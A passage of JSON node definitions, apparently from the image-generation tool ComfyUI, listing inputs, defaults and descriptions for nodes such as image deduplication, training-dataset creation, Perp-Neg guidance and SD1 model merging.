["Processed texts"], "output_matchtypes": null, "name": "StripWhitespace", "display_name": "Strip Whitespace (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageDeduplication": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to process."}], "similarity_threshold": ["FLOAT", {"tooltip": "Similarity threshold (0-1). Higher means more similar. Images above this threshold are considered duplicates.", "advanced": true, "default": 0.95, "min": 0.0, "max": 1.0}]}}, "input_order": {"required": ["images", "similarity_threshold"]}, "is_input_list": true, "output": ["IMAGE"], "output_is_list": [true], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "ImageDeduplication", "display_name": "Deduplicate Images", "description": "Remove duplicate or very similar images from a list.", "python_module": "comfy_extras.nodes_dataset", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["deduplicate", "remove duplicates", "similarity filter"], "essentials_category": null, "has_intermediate_output": false}, "ImageGrid": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to process."}], "columns": ["INT", {"tooltip": "Number of columns in the grid.", "default": 4, "min": 1, "max": 20}], "cell_width": ["INT", {"tooltip": "Width of each cell in the grid.", "advanced": true, "default": 256, "min": 32, "max": 2048}], "cell_height": ["INT", {"tooltip": "Height of each cell in the grid.", "advanced": true, "default": 256, "min": 32, "max": 2048}], "padding": ["INT", {"tooltip": "Padding between images.", "advanced": true, "default": 4, "min": 0, "max": 50}]}}, "input_order": {"required": ["images", "columns", "cell_width", "cell_height", "padding"]}, "is_input_list": true, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "ImageGrid", "display_name": "Make Image Grid", "description": "Arrange multiple images into a grid layout.", "python_module": "comfy_extras.nodes_dataset", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["grid", "collage", "combine"], "essentials_category": null, "has_intermediate_output": false}, "MergeImageLists": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to process."}]}}, "input_order": {"required": ["images"]}, "is_input_list": true, "output": ["IMAGE"], "output_is_list": [true], "output_name": ["images"], "output_tooltips": ["Processed images"], "output_matchtypes": null, "name": "MergeImageLists", "display_name": "Merge Image Lists (DEPRECATED)", "description": "Concatenate multiple image lists into one.", "python_module": "comfy_extras.nodes_dataset", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["list", "merge list", "make list"], "essentials_category": null, "has_intermediate_output": false}, "MergeTextLists": {"input": {"required": {"texts": ["STRING", {"tooltip": "List of texts to process.", "multiline": false}]}}, "input_order": {"required": ["texts"]}, "is_input_list": true, "output": ["STRING"], "output_is_list": [null], "output_name": ["texts"], "output_tooltips": ["Processed texts"], "output_matchtypes": null, "name": "MergeTextLists", "display_name": "Merge Text Lists (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_dataset", "category": "text", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "MakeTrainingDataset": {"input": {"required": {"images": ["IMAGE", {"tooltip": "List of images to encode."}], "vae": ["VAE", {"tooltip": "VAE model for encoding images to latents."}], "clip": ["CLIP", {"tooltip": "CLIP model for encoding text to conditioning."}]}, "optional": {"texts": ["STRING", {"tooltip": "List of text captions. Can be length n (matching images), 1 (repeated for all), or omitted (uses empty string).", "forceInput": true, "multiline": false}]}}, "input_order": {"required": ["images", "vae", "clip"], "optional": ["texts"]}, "is_input_list": true, "output": ["LATENT", "CONDITIONING"], "output_is_list": [true, true], "output_name": ["latents", "conditioning"], "output_tooltips": ["List of latent dicts", "List of conditioning lists"], "output_matchtypes": null, "name": "MakeTrainingDataset", "display_name": "Make Training Dataset", "description": "Encode images with VAE and texts with CLIP to create a training dataset of latents and conditionings.", "python_module": "comfy_extras.nodes_dataset", "category": "model/training", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["encode dataset"], "essentials_category": null, "has_intermediate_output": false}, "SaveTrainingDataset": {"input": {"required": {"latents": ["LATENT", {"tooltip": "List of latent dicts from MakeTrainingDataset."}], "conditioning": ["CONDITIONING", {"tooltip": "List of conditioning lists from MakeTrainingDataset."}], "folder_name": ["STRING", {"tooltip": "Name of folder to save dataset (inside output directory).", "default": "training_dataset", "multiline": false}], "shard_size": ["INT", {"tooltip": "Number of samples per shard file.", "advanced": true, "default": 1000, "min": 1, "max": 100000}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["latents", "conditioning", "folder_name", "shard_size"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": true, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "SaveTrainingDataset", "display_name": "Save Training Dataset", "description": "Save encoded training dataset (latents + conditioning) to disk for efficient loading during training.", "python_module": "comfy_extras.nodes_dataset", "category": "model/training", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export dataset", "save dataset"], "essentials_category": null, "has_intermediate_output": false}, "LoadTrainingDataset": {"input": {"required": {"folder_name": ["STRING", {"tooltip": "Name of folder containing the saved dataset (inside output directory).", "default": "training_dataset", "multiline": false}]}}, "input_order": {"required": ["folder_name"]}, "is_input_list": false, "output": ["LATENT", "CONDITIONING"], "output_is_list": [true, true], "output_name": ["latents", "conditioning"], "output_tooltips": ["List of latent dicts", "List of conditioning lists"], "output_matchtypes": null, "name": "LoadTrainingDataset", "display_name": "Load Training Dataset", "description": "Load encoded training dataset (latents + conditioning) from disk for use in training.", "python_module": "comfy_extras.nodes_dataset", "category": "model/training", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["import dataset", "training data"], "essentials_category": null, "has_intermediate_output": false}, "ResolutionBucket": {"input": {"required": {"latents": ["LATENT", {"tooltip": "List of latent dicts to bucket by resolution."}], "conditioning": ["CONDITIONING", {"tooltip": "List of conditioning lists (must match latents length)."}]}}, "input_order": {"required": ["latents", "conditioning"]}, "is_input_list": true, "output": ["LATENT", "CONDITIONING"], "output_is_list": [true, true], "output_name": ["latents", "conditioning"], "output_tooltips": ["List of batched latent dicts, one per resolution bucket.", "List of condition lists, one per resolution bucket."], "output_matchtypes": null, "name": "ResolutionBucket", "display_name": "Resolution Bucket", "description": "Group latents and conditionings into buckets", "python_module": "comfy_extras.nodes_dataset", "category": "model/training", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["bucket by resolution", "group by resolution", "batch by resolution"], "essentials_category": null, "has_intermediate_output": false}, "SelfAttentionGuidance": {"input": {"required": {"model": ["MODEL", {}], "scale": ["FLOAT", {"default": 0.5, "min": -2.0, "max": 5.0, "step": 0.01}], "blur_sigma": ["FLOAT", {"advanced": true, "default": 2.0, "min": 0.0, "max": 10.0, "step": 0.1}]}}, "input_order": {"required": ["model", "scale", "blur_sigma"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "SelfAttentionGuidance", "display_name": "Self-Attention Guidance", "description": "", "python_module": "comfy_extras.nodes_sag", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PerpNeg": {"input": {"required": {"model": ["MODEL", {}], "empty_conditioning": ["CONDITIONING", {}], "neg_scale": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "empty_conditioning", "neg_scale"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "PerpNeg", "display_name": "Perp-Neg (DEPRECATED by Perp-Neg Guider)", "description": "", "python_module": "comfy_extras.nodes_perpneg", "category": "experimental", "output_node": false, "deprecated": true, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PerpNegGuider": {"input": {"required": {"model": ["MODEL", {}], "positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "empty_conditioning": ["CONDITIONING", {}], "cfg": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}], "neg_scale": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "positive", "negative", "empty_conditioning", "cfg", "neg_scale"]}, "is_input_list": false, "output": ["GUIDER"], "output_is_list": [false], "output_name": ["GUIDER"], "output_tooltips": [null], "output_matchtypes": null, "name": "PerpNegGuider", "display_name": "Perp-Neg Guider", "description": "", "python_module": "comfy_extras.nodes_perpneg", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StableZero123_Conditioning": {"input": {"required": {"clip_vision": ["CLIP_VISION", {}], "init_image": ["IMAGE", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 256, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 256, "min": 16, "max": 16384, "step": 8}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "elevation": ["FLOAT", {"default": 0.0, "min": -180.0, "max": 180.0, "step": 0.1, "round": false}], "azimuth": ["FLOAT", {"default": 0.0, "min": -180.0, "max": 180.0, "step": 0.1, "round": false}]}}, "input_order": {"required": ["clip_vision", "init_image", "vae", "width", "height", "batch_size", "elevation", "azimuth"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "StableZero123_Conditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable3d", "category": "model/conditioning/stable zero123", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StableZero123_Conditioning_Batched": {"input": {"required": {"clip_vision": ["CLIP_VISION", {}], "init_image": ["IMAGE", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 256, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 256, "min": 16, "max": 16384, "step": 8}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "elevation": ["FLOAT", {"default": 0.0, "min": -180.0, "max": 180.0, "step": 0.1, "round": false}], "azimuth": ["FLOAT", {"default": 0.0, "min": -180.0, "max": 180.0, "step": 0.1, "round": false}], "elevation_batch_increment": ["FLOAT", {"advanced": true, "default": 0.0, "min": -180.0, "max": 180.0, "step": 0.1, "round": false}], "azimuth_batch_increment": ["FLOAT", {"advanced": true, "default": 0.0, "min": -180.0, "max": 180.0, "step": 0.1, "round": false}]}}, "input_order": {"required": ["clip_vision", "init_image", "vae", "width", "height", "batch_size", "elevation", "azimuth", "elevation_batch_increment", "azimuth_batch_increment"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "StableZero123_Conditioning_Batched", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable3d", "category": "model/conditioning/stable zero123", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SV3D_Conditioning": {"input": {"required": {"clip_vision": ["CLIP_VISION", {}], "init_image": ["IMAGE", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 576, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 576, "min": 16, "max": 16384, "step": 8}], "video_frames": ["INT", {"default": 21, "min": 1, "max": 4096}], "elevation": ["FLOAT", {"default": 0.0, "min": -90.0, "max": 90.0, "step": 0.1, "round": false}]}}, "input_order": {"required": ["clip_vision", "init_image", "vae", "width", "height", "video_frames", "elevation"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "SV3D_Conditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable3d", "category": "model/conditioning/stable video 3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SD_4XUpscale_Conditioning": {"input": {"required": {"images": ["IMAGE", {}], "positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "scale_ratio": ["FLOAT", {"default": 4.0, "min": 0.0, "max": 10.0, "step": 0.01}], "noise_augmentation": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["images", "positive", "negative", "scale_ratio", "noise_augmentation"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "SD_4XUpscale_Conditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_sdupscale", "category": "model/conditioning/stable diffusion upscaler", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PhotoMakerLoader": {"input": {"required": {"photomaker_model_name": ["COMBO", {"multiselect": false, "options": []}]}}, "input_order": {"required": ["photomaker_model_name"]}, "is_input_list": false, "output": ["PHOTOMAKER"], "output_is_list": [false], "output_name": ["PHOTOMAKER"], "output_tooltips": [null], "output_matchtypes": null, "name": "PhotoMakerLoader", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_photomaker", "category": "experimental/photomaker", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PhotoMakerEncode": {"input": {"required": {"photomaker": ["PHOTOMAKER", {}], "image": ["IMAGE", {}], "clip": ["CLIP", {}], "text": ["STRING", {"default": "photograph of photomaker", "multiline": true, "dynamicPrompts": true}]}}, "input_order": {"required": ["photomaker", "image", "clip", "text"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "PhotoMakerEncode", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_photomaker", "category": "experimental/photomaker", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodePixArtAlpha": {"input": {"required": {"width": ["INT", {"default": 1024, "min": 0, "max": 16384}], "height": ["INT", {"default": 1024, "min": 0, "max": 16384}], "text": ["STRING", {"multiline": true, "dynamicPrompts": true}], "clip": ["CLIP", {}]}}, "input_order": {"required": ["width", "height", "text", "clip"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodePixArtAlpha", "display_name": "CLIP Text Encode (PixArt Alpha)", "description": "Encodes text and sets the resolution conditioning for PixArt Alpha. Does not apply to PixArt Sigma.", "python_module": "comfy_extras.nodes_pixart", "category": "model/conditioning/pixart", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["pixart prompt"], "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeControlnet": {"input": {"required": {"clip": ["CLIP", {}], "conditioning": ["CONDITIONING", {}], "text": ["STRING", {"multiline": true, "dynamicPrompts": true}]}}, "input_order": {"required": ["clip", "conditioning", "text"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeControlnet", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cond", "category": "experimental/conditioning", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "T5TokenizerOptions": {"input": {"required": {"clip": ["CLIP", {}], "min_padding": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 10000, "step": 1}], "min_length": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 10000, "step": 1}]}}, "input_order": {"required": ["clip", "min_padding", "min_length"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "output_tooltips": [null], "output_matchtypes": null, "name": "T5TokenizerOptions", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cond", "category": "experimental/conditioning", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Morphology": {"input": {"required": {"image": ["IMAGE", {}], "operation": ["COMBO", {"multiselect": false, "options": ["erode", "dilate", "open", "close", "gradient", "bottom_hat", "top_hat"]}], "kernel_size": ["INT", {"default": 3, "min": 3, "max": 999, "step": 1}]}}, "input_order": {"required": ["image", "operation", "kernel_size"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "Morphology", "display_name": "Apply Morphology", "description": "", "python_module": "comfy_extras.nodes_morphology", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["erode", "dilate"], "essentials_category": null, "has_intermediate_output": false}, "ImageRGBToYUV": {"input": {"required": {"image": ["IMAGE", {}]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["IMAGE", "IMAGE", "IMAGE"], "output_is_list": [false, false, false], "output_name": ["Y", "U", "V"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "ImageRGBToYUV", "display_name": "Image RGB to YUV", "description": "", "python_module": "comfy_extras.nodes_morphology", "category": "image/color", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["color space conversion"], "essentials_category": null, "has_intermediate_output": false}, "ImageYUVToRGB": {"input": {"required": {"Y": ["IMAGE", {}], "U": ["IMAGE", {}], "V": ["IMAGE", {}]}}, "input_order": {"required": ["Y", "U", "V"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageYUVToRGB", "display_name": "Image YUV to RGB", "description": "", "python_module": "comfy_extras.nodes_morphology", "category": "image/color", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["color space conversion"], "essentials_category": null, "has_intermediate_output": false}, "StableCascade_EmptyLatentImage": {"input": {"required": {"width": ["INT", {"default": 1024, "min": 256, "max": 16384, "step": 8}], "height": ["INT", {"default": 1024, "min": 256, "max": 16384, "step": 8}], "compression": ["INT", {"advanced": true, "default": 42, "min": 4, "max": 128, "step": 1}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "compression", "batch_size"]}, "is_input_list": false, "output": ["LATENT", "LATENT"], "output_is_list": [false, false], "output_name": ["stage_c", "stage_b"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "StableCascade_EmptyLatentImage", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable_cascade", "category": "model/latent/stable cascade", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StableCascade_StageB_Conditioning": {"input": {"required": {"conditioning": ["CONDITIONING", {}], "stage_c": ["LATENT", {}]}}, "input_order": {"required": ["conditioning", "stage_c"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "StableCascade_StageB_Conditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable_cascade", "category": "model/conditioning/stable cascade", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StableCascade_StageC_VAEEncode": {"input": {"required": {"image": ["IMAGE", {}], "vae": ["VAE", {}], "compression": ["INT", {"advanced": true, "default": 42, "min": 4, "max": 128, "step": 1}]}}, "input_order": {"required": ["image", "vae", "compression"]}, "is_input_list": false, "output": ["LATENT", "LATENT"], "output_is_list": [false, false], "output_name": ["stage_c", "stage_b"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "StableCascade_StageC_VAEEncode", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable_cascade", "category": "model/latent/stable cascade", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StableCascade_SuperResolutionControlnet": {"input": {"required": {"image": ["IMAGE", {}], "vae": ["VAE", {}]}}, "input_order": {"required": ["image", "vae"]}, "is_input_list": false, "output": ["IMAGE", "LATENT", "LATENT"], "output_is_list": [false, false, false], "output_name": ["controlnet_input", "stage_c", "stage_b"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "StableCascade_SuperResolutionControlnet", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable_cascade", "category": "experimental/stable_cascade", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "DifferentialDiffusion": {"input": {"required": {"model": ["MODEL", {}]}, "optional": {"strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model"], "optional": ["strength"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "DifferentialDiffusion", "display_name": "Differential Diffusion", "description": "", "python_module": "comfy_extras.nodes_differential_diffusion", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["inpaint gradient", "variable denoise strength"], "essentials_category": null, "has_intermediate_output": false}, "InstructPixToPixConditioning": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "pixels": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "pixels"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "InstructPixToPixConditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_ip2p", "category": "model/conditioning/instructpix2pix", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ModelMergeSD1": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "time_embed.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "label_emb.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "out.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "time_embed.", "label_emb.", "input_blocks.0.", "input_blocks.1.", "input_blocks.2.", "input_blocks.3.", "input_blocks.4.", "input_blocks.5.", "input_blocks.6.", "input_blocks.7.", "input_blocks.8.", "input_blocks.9.", "input_blocks.10.", "input_blocks.11.", "middle_block.0.", "middle_block.1.", "middle_block.2.", "output_blocks.0.", "output_blocks.1.", "output_blocks.2.", "output_blocks.3.", "output_blocks.4.", "output_blocks.5.", "output_blocks.6.", "output_blocks.7.", "output_blocks.8.", "output_blocks.9.", "output_blocks.10.", "output_blocks.11.", "out."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSD1", "display_name": "ModelMergeSD1", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeSD2": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "time_embed.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "label_emb.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.2.": 